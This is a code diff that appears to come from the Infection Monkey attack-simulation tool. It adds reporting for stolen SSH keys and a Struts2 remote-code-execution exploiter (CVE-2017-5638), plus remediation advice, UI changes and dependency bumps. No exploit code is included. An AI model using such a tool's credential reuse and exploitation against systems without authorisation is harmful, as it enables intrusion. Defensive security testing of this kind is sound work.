|
return processed_exploit
|
||||||
|
@ -210,8 +252,12 @@ class ReportService:
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_ssh_exploit(exploit):
|
def process_ssh_exploit(exploit):
|
||||||
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
||||||
processed_exploit['type'] = 'ssh'
|
# Check if it's ssh key or ssh login credentials exploit
|
||||||
return processed_exploit
|
if processed_exploit['type'] == 'ssh_key':
|
||||||
|
return processed_exploit
|
||||||
|
else:
|
||||||
|
processed_exploit['type'] = 'ssh'
|
||||||
|
return processed_exploit
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_rdp_exploit(exploit):
|
def process_rdp_exploit(exploit):
|
||||||
|
@ -246,6 +292,12 @@ class ReportService:
|
||||||
processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls]
|
processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls]
|
||||||
return processed_exploit
|
return processed_exploit
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def process_struts2_exploit(exploit):
|
||||||
|
processed_exploit = ReportService.process_general_exploit(exploit)
|
||||||
|
processed_exploit['type'] = 'struts2'
|
||||||
|
return processed_exploit
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_exploit(exploit):
|
def process_exploit(exploit):
|
||||||
exploiter_type = exploit['data']['exploiter']
|
exploiter_type = exploit['data']['exploiter']
|
||||||
|
@ -258,6 +310,7 @@ class ReportService:
|
||||||
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
|
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
|
||||||
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
|
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
|
||||||
'ShellShockExploiter': ReportService.process_shellshock_exploit,
|
'ShellShockExploiter': ReportService.process_shellshock_exploit,
|
||||||
|
'Struts2Exploiter': ReportService.process_struts2_exploit
|
||||||
}
|
}
|
||||||
|
|
||||||
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
||||||
|
@ -282,7 +335,7 @@ class ReportService:
|
||||||
|
|
||||||
return \
|
return \
|
||||||
[
|
[
|
||||||
ipaddress.ip_interface(unicode(network['addr'] + '/' + network['netmask'])).network
|
ipaddress.ip_interface(text_type(network['addr'] + '/' + network['netmask'])).network
|
||||||
for network in network_info['data']['network_info']['networks']
|
for network in network_info['data']['network_info']['networks']
|
||||||
]
|
]
|
||||||
|
|
||||||
|
@ -295,7 +348,7 @@ class ReportService:
|
||||||
monkey_subnets = ReportService.get_monkey_subnets(monkey['guid'])
|
monkey_subnets = ReportService.get_monkey_subnets(monkey['guid'])
|
||||||
for subnet in monkey_subnets:
|
for subnet in monkey_subnets:
|
||||||
for ip in island_ips:
|
for ip in island_ips:
|
||||||
if ipaddress.ip_address(unicode(ip)) in subnet:
|
if ipaddress.ip_address(text_type(ip)) in subnet:
|
||||||
found_good_ip = True
|
found_good_ip = True
|
||||||
break
|
break
|
||||||
if found_good_ip:
|
if found_good_ip:
|
||||||
|
@ -311,13 +364,15 @@ class ReportService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_issues():
|
def get_issues():
|
||||||
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
|
issues = ReportService.get_exploits() + ReportService.get_tunnels() +\
|
||||||
|
ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
|
||||||
issues_dict = {}
|
issues_dict = {}
|
||||||
for issue in issues:
|
for issue in issues:
|
||||||
machine = issue['machine']
|
machine = issue['machine']
|
||||||
if machine not in issues_dict:
|
if machine not in issues_dict:
|
||||||
issues_dict[machine] = []
|
issues_dict[machine] = []
|
||||||
issues_dict[machine].append(issue)
|
issues_dict[machine].append(issue)
|
||||||
|
logger.info('Issues generated for reporting')
|
||||||
return issues_dict
|
return issues_dict
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -349,10 +404,7 @@ class ReportService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_config_ips():
|
def get_config_ips():
|
||||||
if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True,
|
return ConfigService.get_config_value(['basic_network', 'general', 'subnet_scan_list'], True, True)
|
||||||
True) != 'FixedRange':
|
|
||||||
return []
|
|
||||||
return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True, True)
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_config_scan():
|
def get_config_scan():
|
||||||
|
@ -374,8 +426,12 @@ class ReportService:
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
|
||||||
elif issue['type'] == 'azure_password':
|
elif issue['type'] == 'azure_password':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
|
||||||
|
elif issue['type'] == 'ssh_key':
|
||||||
|
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
|
||||||
|
elif issue['type'] == 'struts2':
|
||||||
|
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
|
||||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||||
issue['username'] in config_users:
|
issue['username'] in config_users or issue['type'] == 'ssh':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
||||||
elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
|
elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
|
||||||
|
@ -408,6 +464,7 @@ class ReportService:
|
||||||
{'name': 'generated_report'},
|
{'name': 'generated_report'},
|
||||||
{'$set': {'value': True}},
|
{'$set': {'value': True}},
|
||||||
upsert=True)
|
upsert=True)
|
||||||
|
logger.info("Report marked as generated.")
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_report():
|
def get_report():
|
||||||
|
@ -436,6 +493,7 @@ class ReportService:
|
||||||
'exploited': ReportService.get_exploited(),
|
'exploited': ReportService.get_exploited(),
|
||||||
'stolen_creds': ReportService.get_stolen_creds(),
|
'stolen_creds': ReportService.get_stolen_creds(),
|
||||||
'azure_passwords': ReportService.get_azure_creds(),
|
'azure_passwords': ReportService.get_azure_creds(),
|
||||||
|
'ssh_keys': ReportService.get_ssh_keys()
|
||||||
},
|
},
|
||||||
'recommendations':
|
'recommendations':
|
||||||
{
|
{
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -42,18 +42,18 @@
|
||||||
"karma-chai": "^0.1.0",
|
"karma-chai": "^0.1.0",
|
||||||
"karma-coverage": "^1.0.0",
|
"karma-coverage": "^1.0.0",
|
||||||
"karma-mocha": "^1.0.0",
|
"karma-mocha": "^1.0.0",
|
||||||
"karma-mocha-reporter": "^2.2.4",
|
"karma-mocha-reporter": "^2.2.5",
|
||||||
"karma-phantomjs-launcher": "^1.0.0",
|
"karma-phantomjs-launcher": "^1.0.0",
|
||||||
"karma-sourcemap-loader": "^0.3.5",
|
"karma-sourcemap-loader": "^0.3.5",
|
||||||
"karma-webpack": "^1.7.0",
|
"karma-webpack": "^1.7.0",
|
||||||
"minimist": "^1.2.0",
|
"minimist": "^1.2.0",
|
||||||
"mocha": "^3.0.0",
|
"mocha": "^5.2.0",
|
||||||
"null-loader": "^0.1.1",
|
"null-loader": "^0.1.1",
|
||||||
"open": "0.0.5",
|
"open": "0.0.5",
|
||||||
"phantomjs-prebuilt": "^2.1.15",
|
"phantomjs-prebuilt": "^2.1.16",
|
||||||
"react-addons-test-utils": "^15.0.0",
|
"react-addons-test-utils": "^15.6.2",
|
||||||
"react-hot-loader": "^1.2.9",
|
"react-hot-loader": "^1.2.9",
|
||||||
"rimraf": "^2.4.3",
|
"rimraf": "^2.6.2",
|
||||||
"style-loader": "^0.13.2",
|
"style-loader": "^0.13.2",
|
||||||
"url-loader": "^0.5.9",
|
"url-loader": "^0.5.9",
|
||||||
"webpack": "^1.15.0",
|
"webpack": "^1.15.0",
|
||||||
|
@ -61,28 +61,29 @@
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"bootstrap": "^3.3.7",
|
"bootstrap": "^3.3.7",
|
||||||
"core-js": "^2.5.1",
|
"core-js": "^2.5.5",
|
||||||
"downloadjs": "^1.4.7",
|
"downloadjs": "^1.4.7",
|
||||||
"fetch": "^1.1.0",
|
"fetch": "^1.1.0",
|
||||||
"js-file-download": "^0.4.1",
|
"js-file-download": "^0.4.1",
|
||||||
"json-loader": "^0.5.7",
|
"json-loader": "^0.5.7",
|
||||||
"jwt-decode": "^2.2.0",
|
"jwt-decode": "^2.2.0",
|
||||||
"moment": "^2.21.0",
|
"moment": "^2.22.1",
|
||||||
"normalize.css": "^4.0.0",
|
"normalize.css": "^4.0.0",
|
||||||
"prop-types": "^15.5.10",
|
"npm": "^5.8.0",
|
||||||
|
"prop-types": "^15.6.1",
|
||||||
"rc-progress": "^2.2.5",
|
"rc-progress": "^2.2.5",
|
||||||
"react": "^15.6.1",
|
"react": "^15.6.2",
|
||||||
"react-bootstrap": "^0.31.2",
|
"react-bootstrap": "^0.31.5",
|
||||||
"react-copy-to-clipboard": "^5.0.0",
|
"react-copy-to-clipboard": "^5.0.1",
|
||||||
"react-data-components": "^1.1.1",
|
"react-data-components": "^1.2.0",
|
||||||
"react-dimensions": "^1.3.0",
|
"react-dimensions": "^1.3.0",
|
||||||
"react-dom": "^15.6.1",
|
"react-dom": "^15.6.2",
|
||||||
"react-fa": "^4.2.0",
|
"react-fa": "^4.2.0",
|
||||||
"react-graph-vis": "^0.1.3",
|
"react-graph-vis": "^0.1.4",
|
||||||
"react-json-tree": "^0.10.9",
|
"react-json-tree": "^0.10.9",
|
||||||
"react-jsonschema-form": "^0.50.1",
|
"react-jsonschema-form": "^0.50.1",
|
||||||
"react-modal-dialog": "^4.0.7",
|
"react-modal-dialog": "^4.0.7",
|
||||||
"react-redux": "^5.0.6",
|
"react-redux": "^5.0.7",
|
||||||
"react-router-dom": "^4.2.2",
|
"react-router-dom": "^4.2.2",
|
||||||
"react-table": "^6.7.4",
|
"react-table": "^6.7.4",
|
||||||
"react-toggle": "^4.0.1",
|
"react-toggle": "^4.0.1",
|
||||||
|
|
|
@ -45,7 +45,7 @@ class MapPageComponent extends AuthComponent {
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(res => {
|
.then(res => {
|
||||||
res.edges.forEach(edge => {
|
res.edges.forEach(edge => {
|
||||||
edge.color = edgeGroupToColor(edge.group);
|
edge.color = {'color': edgeGroupToColor(edge.group)};
|
||||||
});
|
});
|
||||||
this.setState({graph: res});
|
this.setState({graph: res});
|
||||||
this.props.onStatusChange();
|
this.props.onStatusChange();
|
||||||
|
|
|
@ -7,7 +7,7 @@ import {edgeGroupToColor, options} from 'components/map/MapOptions';
|
||||||
import StolenPasswords from 'components/report-components/StolenPasswords';
|
import StolenPasswords from 'components/report-components/StolenPasswords';
|
||||||
import CollapsibleWellComponent from 'components/report-components/CollapsibleWell';
|
import CollapsibleWellComponent from 'components/report-components/CollapsibleWell';
|
||||||
import {Line} from 'rc-progress';
|
import {Line} from 'rc-progress';
|
||||||
import AuthComponent from 'components/AuthComponent';
|
import AuthComponent from '../AuthComponent';
|
||||||
import PassTheHashMapPageComponent from "./PassTheHashMapPage";
|
import PassTheHashMapPageComponent from "./PassTheHashMapPage";
|
||||||
import SharedCreds from "components/report-components/SharedCreds";
|
import SharedCreds from "components/report-components/SharedCreds";
|
||||||
import StrongUsers from "components/report-components/StrongUsers";
|
import StrongUsers from "components/report-components/StrongUsers";
|
||||||
|
@ -26,7 +26,9 @@ class ReportPageComponent extends AuthComponent {
|
||||||
SAMBACRY: 3,
|
SAMBACRY: 3,
|
||||||
SHELLSHOCK: 4,
|
SHELLSHOCK: 4,
|
||||||
CONFICKER: 5,
|
CONFICKER: 5,
|
||||||
AZURE: 6
|
AZURE: 6,
|
||||||
|
STOLEN_SSH_KEYS: 7,
|
||||||
|
STRUTS2: 8
|
||||||
};
|
};
|
||||||
|
|
||||||
Warning =
|
Warning =
|
||||||
|
@ -297,6 +299,8 @@ class ReportPageComponent extends AuthComponent {
|
||||||
return x === true;
|
return x === true;
|
||||||
}).length} threats</span>:
|
}).length} threats</span>:
|
||||||
<ul>
|
<ul>
|
||||||
|
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
|
||||||
|
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
|
||||||
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
|
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
|
||||||
<li>Stolen credentials are used to exploit other machines.</li> : null}
|
<li>Stolen credentials are used to exploit other machines.</li> : null}
|
||||||
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
|
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
|
||||||
|
@ -322,7 +326,10 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<li>Azure machines expose plaintext passwords. (<a
|
<li>Azure machines expose plaintext passwords. (<a
|
||||||
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
|
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
|
||||||
>More info</a>)</li> : null}
|
>More info</a>)</li> : null}
|
||||||
|
{this.state.report.overview.issues[this.Issue.STRUTS2] ?
|
||||||
|
<li>Struts2 servers are vulnerable to remote code execution. (<a
|
||||||
|
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
|
||||||
|
CVE-2017-5638</a>)</li> : null }
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
:
|
:
|
||||||
|
@ -347,7 +354,7 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<li>Weak segmentation - Machines from different segments are able to
|
<li>Weak segmentation - Machines from different segments are able to
|
||||||
communicate.</li> : null}
|
communicate.</li> : null}
|
||||||
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
|
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
|
||||||
<li>Weak segmentation - machines were able to communicate over unused ports.</li> : null}
|
<li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null}
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
:
|
:
|
||||||
|
@ -417,6 +424,9 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<div style={{marginBottom: '20px'}}>
|
<div style={{marginBottom: '20px'}}>
|
||||||
<ScannedServers data={this.state.report.glance.scanned}/>
|
<ScannedServers data={this.state.report.glance.scanned}/>
|
||||||
</div>
|
</div>
|
||||||
|
<div>
|
||||||
|
<StolenPasswords data={this.state.report.glance.stolen_creds, this.state.report.glance.ssh_keys}/>
|
||||||
|
</div>
|
||||||
{this.generateReportPthMap()}
|
{this.generateReportPthMap()}
|
||||||
<div style={{marginBottom: '20px'}}>
|
<div style={{marginBottom: '20px'}}>
|
||||||
<StolenPasswords data={this.state.report.glance.stolen_creds}/>
|
<StolenPasswords data={this.state.report.glance.stolen_creds}/>
|
||||||
|
@ -589,6 +599,22 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
generateSshKeysIssue(issue) {
|
||||||
|
return (
|
||||||
|
<li>
|
||||||
|
Protect <span className="label label-success">{issue.ssh_key}</span> private key with a pass phrase.
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
The machine <span className="label label-primary">{issue.machine}</span> (<span
|
||||||
|
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
|
||||||
|
className="label label-danger">SSH</span> attack.
|
||||||
|
<br/>
|
||||||
|
The Monkey authenticated over the SSH protocol with private key <span
|
||||||
|
className="label label-success">{issue.ssh_key}</span>.
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
generateRdpIssue(issue) {
|
generateRdpIssue(issue) {
|
||||||
return (
|
return (
|
||||||
<li>
|
<li>
|
||||||
|
@ -717,6 +743,24 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
generateStruts2Issue(issue) {
|
||||||
|
return (
|
||||||
|
<li>
|
||||||
|
Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
Struts2 server at <span className="label label-primary">{issue.machine}</span> (<span
|
||||||
|
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
|
||||||
|
className="label label-danger">remote code execution</span> attack.
|
||||||
|
<br/>
|
||||||
|
The attack was made possible because the server is using an old version of Jakarta based file upload
|
||||||
|
Multipart parser. For possible work-arounds and more info read <a
|
||||||
|
href="https://cwiki.apache.org/confluence/display/WW/S2-045"
|
||||||
|
>here</a>.
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
generateIssue = (issue) => {
|
generateIssue = (issue) => {
|
||||||
|
@ -737,6 +781,9 @@ class ReportPageComponent extends AuthComponent {
|
||||||
case 'ssh':
|
case 'ssh':
|
||||||
data = this.generateSshIssue(issue);
|
data = this.generateSshIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
case 'ssh_key':
|
||||||
|
data = this.generateSshKeysIssue(issue);
|
||||||
|
break;
|
||||||
case 'rdp':
|
case 'rdp':
|
||||||
data = this.generateRdpIssue(issue);
|
data = this.generateRdpIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
@ -761,6 +808,9 @@ class ReportPageComponent extends AuthComponent {
|
||||||
case 'azure_password':
|
case 'azure_password':
|
||||||
data = this.generateAzureIssue(issue);
|
data = this.generateAzureIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
case 'struts2':
|
||||||
|
data = this.generateStruts2Issue(issue);
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
return data;
|
return data;
|
||||||
};
|
};
|
||||||
|
|
|
@ -1,8 +1,9 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import {Col} from 'react-bootstrap';
|
import {Button, Col} from 'react-bootstrap';
|
||||||
import JSONTree from 'react-json-tree'
|
import JSONTree from 'react-json-tree'
|
||||||
import {DataTable} from 'react-data-components';
|
import {DataTable} from 'react-data-components';
|
||||||
import AuthComponent from '../AuthComponent';
|
import AuthComponent from '../AuthComponent';
|
||||||
|
import download from 'downloadjs'
|
||||||
|
|
||||||
const renderJson = (val) => <JSONTree data={val} level={1} theme="eighties" invertTheme={true} />;
|
const renderJson = (val) => <JSONTree data={val} level={1} theme="eighties" invertTheme={true} />;
|
||||||
const renderTime = (val) => val.split('.')[0];
|
const renderTime = (val) => val.split('.')[0];
|
||||||
|
@ -28,21 +29,47 @@ class TelemetryPageComponent extends AuthComponent {
|
||||||
.then(res => this.setState({data: res.objects}));
|
.then(res => this.setState({data: res.objects}));
|
||||||
};
|
};
|
||||||
|
|
||||||
|
downloadIslandLog = () => {
|
||||||
|
this.authFetch('/api/log/island/download')
|
||||||
|
.then(res => res.json())
|
||||||
|
.then(res => {
|
||||||
|
let filename = 'Island_log'
|
||||||
|
let logContent = (res['log_file']);
|
||||||
|
download(logContent, filename, 'text/plain');
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
<Col xs={12} lg={8}>
|
<div>
|
||||||
<h1 className="page-title">Log</h1>
|
<div>
|
||||||
<div className="data-table-container">
|
<Col xs={12} lg={8}>
|
||||||
<DataTable
|
<h1 className="page-title">Log</h1>
|
||||||
keys="name"
|
<div className="data-table-container">
|
||||||
columns={columns}
|
<DataTable
|
||||||
initialData={this.state.data}
|
keys="name"
|
||||||
initialPageLength={20}
|
columns={columns}
|
||||||
initialSortBy={{ prop: 'timestamp', order: 'descending' }}
|
initialData={this.state.data}
|
||||||
pageLengthOptions={[ 20, 50, 100 ]}
|
initialPageLength={20}
|
||||||
/>
|
initialSortBy={{ prop: 'timestamp', order: 'descending' }}
|
||||||
</div>
|
pageLengthOptions={[ 20, 50, 100 ]}
|
||||||
</Col>
|
/>
|
||||||
|
</div>
|
||||||
|
</Col>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<Col xs={12} lg={8}>
|
||||||
|
<h1 className="page-title"> Monkey Island Logs </h1>
|
||||||
|
<div className="text-center" style={{marginBottom: '20px'}}>
|
||||||
|
<p style={{'marginBottom': '2em', 'fontSize': '1.2em'}}> Download Monkey Island internal log file </p>
|
||||||
|
<Button bsSize="large" onClick={()=> {
|
||||||
|
this.downloadIslandLog();
|
||||||
|
}}>
|
||||||
|
<i className="glyphicon glyphicon-download"/> Download </Button>
|
||||||
|
</div>
|
||||||
|
</Col>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -5,4 +5,4 @@ Homepage: http://www.guardicore.com
|
||||||
Priority: optional
|
Priority: optional
|
||||||
Version: 1.0
|
Version: 1.0
|
||||||
Description: Guardicore Infection Monkey Island installation package
|
Description: Guardicore Infection Monkey Island installation package
|
||||||
Depends: openssl, python-pip
|
Depends: openssl, python-pip, python-dev
|
||||||
|
|
Loading…
Reference in New Issue